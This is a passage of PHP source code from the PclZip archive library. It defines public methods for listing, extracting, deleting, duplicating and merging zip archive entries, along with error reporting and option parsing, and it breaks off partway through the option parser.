    // ----- For each file in the list check the attributes
    $v_supported_attributes
    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
             ,PCLZIP_ATT_FILE_MTIME => 'optional'
             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
						);
    foreach ($v_att_list as $v_entry) {
      $v_result = $this->privFileDescrParseAtt($v_entry,
                                               $v_filedescr_list[],
                                               $v_options,
                                               $v_supported_attributes);
      if ($v_result != 1) {
        return 0;
      }
    }

    // ----- Expand the filelist (expand directories)
    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

    // ----- Call the create fct
    $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

    // ----- Return
    return $p_result_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : listContent()
  // Description :
  //   This public method, gives the list of the files and directories, with their
  //   properties.
  //   The properties of each entries in the list are (used also in other functions) :
  //     filename : Name of the file. For a create or add action it is the filename
  //                given by the user. For an extract function it is the filename
  //                of the extracted file.
  //     stored_filename : Name of the file / directory stored in the archive.
  //     size : Size of the stored file.
  //     compressed_size : Size of the file's data compressed in the archive
  //                       (without the headers overhead)
  //     mtime : Last known modification date of the file (UNIX timestamp)
  //     comment : Comment associated with the file
  //     folder : true | false
  //     index : index of the file in the archive
  //     status : status of the action (depending of the action) :
  //              Values are :
  //                ok : OK !
  //                filtered : the file / dir is not extracted (filtered by user)
  //                already_a_directory : the file can not be extracted because a
  //                                      directory with the same name already exists
  //                write_protected : the file can not be extracted because a file
  //                                  with the same name already exists and is
  //                                  write protected
  //                newer_exist : the file was not extracted because a newer file exists
  //                path_creation_fail : the file is not extracted because the folder
  //                                     does not exist and can not be created
  //                write_error : the file was not extracted because there was an
  //                              error while writing the file
  //                read_error : the file was not extracted because there was an error
  //                             while reading the file
  //                invalid_header : the file was not extracted because of an archive
  //                                 format error (bad file header)
  //   Note that each time a method can continue operating when there
  //   is an action error on a file, the error is only logged in the file status.
  // Return Values :
  //   0 on an unrecoverable failure,
  //   The list of the files in the archive.
  // --------------------------------------------------------------------------------
  function listContent()
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Call the extracting fct
    $p_list = array();
    if (($v_result = $this->privList($p_list)) != 1)
    {
      unset($p_list);
      return(0);
    }

    // ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function :
  //   extract($p_path="./", $p_remove_path="")
  //   extract([$p_option, $p_option_value, ...])
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This method extract all the files / directories from the archive to the
  //   folder indicated in $p_path.
  //   If you want to ignore the 'root' part of path of the memorized files
  //   you can indicate this in the optional $p_remove_path parameter.
  //   By default, if a newer file with the same name already exists, the
  //   file is not extracted.
  //
  //   If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH options
  //   are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
  //   at the end of the path value of PCLZIP_OPT_PATH.
  // Parameters :
  //   $p_path : Path where the files and directories are to be extracted
  //   $p_remove_path : First part ('root' part) of the memorized path
  //                    (if any similar) to remove while extracting.
  // Options :
  //   PCLZIP_OPT_PATH :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_CB_PRE_EXTRACT :
  //   PCLZIP_CB_POST_EXTRACT :
  // Return Values :
  //   0 or a negative value on failure,
  //   The list of the extracted files, with a status of the action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function extract()
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Set default values
    $v_options = array();
//    $v_path = "./";
    $v_path = '';
    $v_remove_path = "";
    $v_remove_all_path = false;

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Default values for option
    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

    // ----- Look for arguments
    if ($v_size > 0) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

        // ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
                                                   PCLZIP_OPT_BY_NAME => 'optional',
                                                   PCLZIP_OPT_BY_EREG => 'optional',
                                                   PCLZIP_OPT_BY_PREG => 'optional',
                                                   PCLZIP_OPT_BY_INDEX => 'optional',
                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                                                   PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
												    ));
        if ($v_result != 1) {
          return 0;
        }

        // ----- Set the arguments
        if (isset($v_options[PCLZIP_OPT_PATH])) {
          $v_path = $v_options[PCLZIP_OPT_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
          // ----- Check for '/' in last path char
          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
            $v_path .= '/';
          }
          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
        }
      }

      // ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

        // ----- Get the first argument
        $v_path = $v_arg_list[0];

        // ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_remove_path = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

          // ----- Return
          return 0;
        }
      }
    }

    // ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

    // ----- Trace

    // ----- Call the extracting fct
    $p_list = array();
    $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
	                                     $v_remove_all_path, $v_options);
    if ($v_result < 1) {
      unset($p_list);
      return(0);
    }

    // ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------


  // --------------------------------------------------------------------------------
  // Function :
  //   extractByIndex($p_index, $p_path="./", $p_remove_path="")
  //   extractByIndex($p_index, [$p_option, $p_option_value, ...])
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This method is doing a partial extract of the archive.
  //   The extracted files or folders are identified by their index in the
  //   archive (from 0 to n).
  //   Note that if the index identify a folder, only the folder entry is
  //   extracted, not all the files included in the archive.
  // Parameters :
  //   $p_index : A single index (integer) or a string of indexes of files to
  //              extract. The form of the string is "0,4-6,8-12" with only numbers
  //              and '-' for range or ',' to separate ranges. No spaces or ';'
  //              are allowed.
  //   $p_path : Path where the files and directories are to be extracted
  //   $p_remove_path : First part ('root' part) of the memorized path
  //                    (if any similar) to remove while extracting.
  // Options :
  //   PCLZIP_OPT_PATH :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
  //     not as files.
  //     The resulting content is in a new field 'content' in the file
  //     structure.
  //     This option must be used alone (any other options are ignored).
  //   PCLZIP_CB_PRE_EXTRACT :
  //   PCLZIP_CB_POST_EXTRACT :
  // Return Values :
  //   0 on failure,
  //   The list of the extracted files, with a status of the action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  //function extractByIndex($p_index, options...)
  function extractByIndex($p_index)
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Set default values
    $v_options = array();
//    $v_path = "./";
    $v_path = '';
    $v_remove_path = "";
    $v_remove_all_path = false;

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Default values for option
    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

    // ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Remove form the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

      // ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

        // ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
												   ));
        if ($v_result != 1) {
          return 0;
        }

        // ----- Set the arguments
        if (isset($v_options[PCLZIP_OPT_PATH])) {
          $v_path = $v_options[PCLZIP_OPT_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
          // ----- Check for '/' in last path char
          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
            $v_path .= '/';
          }
          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
        }
        if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
          $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
        }
        else {
        }
      }

      // ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

        // ----- Get the first argument
        $v_path = $v_arg_list[0];

        // ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_remove_path = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

          // ----- Return
          return 0;
        }
      }
    }

    // ----- Trace

    // ----- Trick
    // Here I want to reuse extractByRule(), so I need to parse the $p_index
    // with privParseOptions()
    $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
    $v_options_trick = array();
    $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
                                        array (PCLZIP_OPT_BY_INDEX => 'optional' ));
    if ($v_result != 1) {
        return 0;
    }
    $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];

    // ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

    // ----- Call the extracting fct
    if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
        return(0);
    }

    // ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function :
  //   delete([$p_option, $p_option_value, ...])
  // Description :
  //   This method removes files from the archive.
  //   If no parameters are given, then all the archive is emptied.
  // Parameters :
  //   None or optional arguments.
  // Options :
  //   PCLZIP_OPT_BY_INDEX :
  //   PCLZIP_OPT_BY_NAME :
  //   PCLZIP_OPT_BY_EREG :
  //   PCLZIP_OPT_BY_PREG :
  // Return Values :
  //   0 on failure,
  //   The list of the files which are still present in the archive.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function delete()
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Set default values
    $v_options = array();

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Look for arguments
    if ($v_size > 0) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Parse the options
      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                        array (PCLZIP_OPT_BY_NAME => 'optional',
                                               PCLZIP_OPT_BY_EREG => 'optional',
                                               PCLZIP_OPT_BY_PREG => 'optional',
                                               PCLZIP_OPT_BY_INDEX => 'optional' ));
      if ($v_result != 1) {
          return 0;
      }
    }

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Call the delete fct
    $v_list = array();
    if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
      $this->privSwapBackMagicQuotes();
      unset($v_list);
      return(0);
    }

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : deleteByIndex()
  // Description :
  //   ***** Deprecated *****
  //   delete(PCLZIP_OPT_BY_INDEX, $p_index) should be preferred.
  // --------------------------------------------------------------------------------
  function deleteByIndex($p_index)
  {

    $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);

    // ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : properties()
  // Description :
  //   This method gives the properties of the archive.
  //   The properties are :
  //     nb : Number of files in the archive
  //     comment : Comment associated with the archive file
  //     status : not_exist, ok
  // Parameters :
  //   None
  // Return Values :
  //   0 on failure,
  //   An array with the archive properties.
  // --------------------------------------------------------------------------------
  function properties()
  {

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      $this->privSwapBackMagicQuotes();
      return(0);
    }

    // ----- Default properties
    $v_prop = array();
    $v_prop['comment'] = '';
    $v_prop['nb'] = 0;
    $v_prop['status'] = 'not_exist';

    // ----- Look if file exists
    if (@is_file($this->zipname))
    {
      // ----- Open the zip file
      if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
      {
        $this->privSwapBackMagicQuotes();

        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');

        // ----- Return
        return 0;
      }

      // ----- Read the central directory information
      $v_central_dir = array();
      if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
      {
        $this->privSwapBackMagicQuotes();
        return 0;
      }

      // ----- Close the zip file
      $this->privCloseFd();

      // ----- Set the user attributes
      $v_prop['comment'] = $v_central_dir['comment'];
      $v_prop['nb'] = $v_central_dir['entries'];
      $v_prop['status'] = 'ok';
    }

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_prop;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : duplicate()
  // Description :
  //   This method creates an archive by copying the content of an other one. If
  //   the archive already exist, it is replaced by the new one without any warning.
  // Parameters :
  //   $p_archive : The filename of a valid archive, or
  //                a valid PclZip object.
  // Return Values :
  //   1 on success.
  //   0 or a negative value on error (error code).
  // --------------------------------------------------------------------------------
  function duplicate($p_archive)
  {
    $v_result = 1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Look if the $p_archive is an instantiated PclZip object
    if ($p_archive instanceof pclzip)
    {

      // ----- Duplicate the archive
      $v_result = $this->privDuplicate($p_archive->zipname);
    }

    // ----- Look if the $p_archive is a string (so a filename)
    else if (is_string($p_archive))
    {

      // ----- Check that $p_archive is a valid zip file
      // TBC : Should also check the archive format
      if (!is_file($p_archive)) {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
        $v_result = PCLZIP_ERR_MISSING_FILE;
      }
      else {
        // ----- Duplicate the archive
        $v_result = $this->privDuplicate($p_archive);
      }
    }

    // ----- Invalid variable
    else
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : merge()
  // Description :
  //   This method merge the $p_archive_to_add archive at the end of the current
  //   one ($this).
  //   If the archive ($this) does not exist, the merge becomes a duplicate.
  //   If the $p_archive_to_add archive does not exist, the merge is a success.
  // Parameters :
  //   $p_archive_to_add : It can be directly the filename of a valid zip archive,
  //                       or a PclZip object archive.
  // Return Values :
  //   1 on success,
  //   0 or negative values on error (see below).
  // --------------------------------------------------------------------------------
  function merge($p_archive_to_add)
  {
    $v_result = 1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Look if the $p_archive_to_add is an instantiated PclZip object
    if ($p_archive_to_add instanceof pclzip)
    {

      // ----- Merge the archive
      $v_result = $this->privMerge($p_archive_to_add);
    }

    // ----- Look if the $p_archive_to_add is a string (so a filename)
    else if (is_string($p_archive_to_add))
    {

      // ----- Create a temporary archive
      $v_object_archive = new PclZip($p_archive_to_add);

      // ----- Merge the archive
      $v_result = $this->privMerge($v_object_archive);
    }

    // ----- Invalid variable
    else
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------



  // --------------------------------------------------------------------------------
  // Function : errorCode()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function errorCode()
  {
    if (PCLZIP_ERROR_EXTERNAL == 1) {
      return(PclErrorCode());
    }
    else {
      return($this->error_code);
    }
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : errorName()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function errorName($p_with_code=false)
  {
    $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
                      PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
                      PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
                      PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
                      PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
                      PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
                      PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
                      PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
                      PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
                      PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
                      PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
                      PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
                      PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
                      PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
                      PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
                      PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
                      PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
                      PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
                      PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
                      ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
                      ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
                    );

    if (isset($v_name[$this->error_code])) {
      $v_value = $v_name[$this->error_code];
    }
    else {
      $v_value = 'NoName';
    }

    if ($p_with_code) {
      return($v_value.' ('.$this->error_code.')');
    }
    else {
      return($v_value);
    }
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : errorInfo()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function errorInfo($p_full=false)
  {
    if (PCLZIP_ERROR_EXTERNAL == 1) {
      return(PclErrorString());
    }
    else {
      if ($p_full) {
        return($this->errorName(true)." : ".$this->error_string);
      }
      else {
        return($this->error_string." [code ".$this->error_code."]");
      }
    }
  }
  // --------------------------------------------------------------------------------


// --------------------------------------------------------------------------------
// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS *****
// *****                                                        *****
// *****       THESES FUNCTIONS MUST NOT BE USED DIRECTLY       *****
// --------------------------------------------------------------------------------



  // --------------------------------------------------------------------------------
  // Function : privCheckFormat()
  // Description :
  //   This method check that the archive exists and is a valid zip archive.
  //   Several level of check exists. (futur)
  // Parameters :
  //   $p_level : Level of check. Default 0.
  //              0 : Check the first bytes (magic codes) (default value))
  //              1 : 0 + Check the central directory (futur)
  //              2 : 1 + Check each file header (futur)
  // Return Values :
  //   true on success,
  //   false on error, the error code is set.
  // --------------------------------------------------------------------------------
  function privCheckFormat($p_level=0)
  {
    $v_result = true;

	// ----- Reset the file system cache
    clearstatcache();

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Look if the file exits
    if (!is_file($this->zipname)) {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
      return(false);
    }

    // ----- Check that the file is readable
    if (!is_readable($this->zipname)) {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
      return(false);
    }

    // ----- Check the magic code
    // TBC

    // ----- Check the central header
    // TBC

    // ----- Check each file header
    // TBC

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privParseOptions()
  // Description :
  //   This internal methods reads the variable list of arguments ($p_options_list,
  //   $p_size) and generate an array with the options and values ($v_result_list).
  //   $v_requested_options contains the options that can be present and those that
  //   must be present.
  //   $v_requested_options is an array, with the option value as key, and 'optional',
  //   or 'mandatory' as value.
  // Parameters :
  //   See above.
  // Return Values :
  //   1 on success.
  //   0 on failure.
  // --------------------------------------------------------------------------------
  function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
  {
    $v_result=1;

    // ----- Read the options
    $i=0;
    while ($i<$p_size) {

      // ----- Check if the option is supported
      if (!isset($v_requested_options[$p_options_list[$i]])) {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Look for next option
      switch ($p_options_list[$i]) {
        // ----- Look for options that request a path value
        case PCLZIP_OPT_PATH :
        case PCLZIP_OPT_REMOVE_PATH :
        case PCLZIP_OPT_ADD_PATH :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
          $i++;
        break;

        case PCLZIP_OPT_TEMP_FILE_THRESHOLD :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
            return PclZip::errorCode();
          }

          // ----- Check for incompatible options
          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
            return PclZip::errorCode();
          }

          // ----- Check the value
          $v_value = $p_options_list[$i+1];
          if ((!is_integer($v_value)) || ($v_value<0)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");
            return PclZip::errorCode();
          }

          // ----- Get the value (and convert it in bytes)
          $v_result_list[$p_options_list[$i]] = $v_value*1048576;
          $i++;
        break;

        case PCLZIP_OPT_TEMP_FILE_ON :
          // ----- Check for incompatible options
          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
            return PclZip::errorCode();
          }

          $v_result_list[$p_options_list[$i]] = true;
        break;

        case PCLZIP_OPT_TEMP_FILE_OFF :
          // ----- Check for incompatible options
          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");
            return PclZip::errorCode();
          }
          // ----- Check for incompatible options
          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");
            return PclZip::errorCode();
          }

          $v_result_list[$p_options_list[$i]] = true;
        break;

        case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          if (   is_string($p_options_list[$i+1])
              && ($p_options_list[$i+1] != '')) {
            $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
            $i++;
          }
          else {
          }
        break;

        // ----- Look for options that request an array of string for value
        case PCLZIP_OPT_BY_NAME :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          if (is_string($p_options_list[$i+1])) {
              $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
          }
          else if (is_array($p_options_list[$i+1])) {
              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
          }
          else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }
          $i++;
        break;

        // ----- Look for options that request an EREG or PREG expression
        case PCLZIP_OPT_BY_EREG :
          // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG
          // to PCLZIP_OPT_BY_PREG
          $p_options_list[$i] = PCLZIP_OPT_BY_PREG;
        case PCLZIP_OPT_BY_PREG :
        //case PCLZIP_OPT_CRYPT :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
